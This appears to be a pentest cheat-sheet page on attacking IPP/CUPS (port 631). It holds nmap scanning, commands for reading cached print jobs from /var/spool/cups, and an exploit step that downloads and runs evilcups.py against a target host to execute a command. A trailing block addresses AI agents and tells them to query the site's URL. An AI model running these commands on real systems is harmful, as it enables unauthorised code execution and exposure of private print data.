# IPP | 631

```bash
## ------------------| Scan
nmap -n -Pn -vv -sUV -p 631,623 -oA NmapIpp.out $IP

## ------------------| Add Printer
sudo systemctl start cups
## visit http://localhost:631
lpadmin -p <Destination> -E -v <DeviceURI>
lpadmin -p TheVoid -E -v file://dev/null

## ------------------| Print jobs cache 
ls /var/spool/cups/
## to read the files you have to do following
cat /var/spool/cups/d0000<JOBID>-00<PAGENO>
## ex: If you want job 3 and page number 2, the command would be like below.
## cat /var/spool/cups/d00003-002
cat /var/spool/cups/d00003-002 > /dev/shm/job.ps
ps2pdf /dev/shm/job.ps /dev/shm/job.pdf
```

* [Attacking UNIX Systems via CUPS](https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/)

<pre class="language-bash"><code class="lang-bash">## ------------------| Expolit
<strong>pip3 install ippserver
</strong><strong>wget https://raw.githubusercontent.com/IppSec/evil-cups/refs/heads/main/evilcups.py
</strong><strong>python3 evilcups.py &#x3C;LOCAL_HOST> &#x3C;TARGET_HOST> &#x3C;COMMAND>
</strong></code></pre>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.h4rithd.com/udp/ipp-or-631.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
